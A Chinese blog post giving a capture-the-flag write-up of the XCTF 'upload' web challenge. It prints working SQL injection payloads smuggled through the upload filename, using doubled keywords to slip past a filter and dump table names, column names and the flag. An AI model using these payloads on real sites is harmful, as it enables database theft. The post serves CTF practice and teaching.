刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

攻防世界 XCTF WEB 高手区 upload WriteUp

题目:

1.png解题:

先注册个账号,登录后是一个上传页面。

2.png使用bp测试后,发现只能上传jpg

3.png怀疑可能是考察文件名注入,测试之后发现果然有注入。

4.png

返回到页面看到我们注入得到的库名。web_upload

5.png

继续注入表名

filename="1','2','3'),((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),'2','1660'),('1.jpg"


6.png

获取字段名

filename="1','2','3'),((selselectect group_concat(column_name) frfromom information_schema.columns where table_schema=database() anandd table_name='hello_flag_is_here'),'2','1660'),('1.jpg"

7.png

获取flag

filename="1','2','3'),((selselectect i_am_flag frfromom hello_flag_is_here),'2','1660'),('1.jpg"

8.png


!!_@m_Th.e_F!lag

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.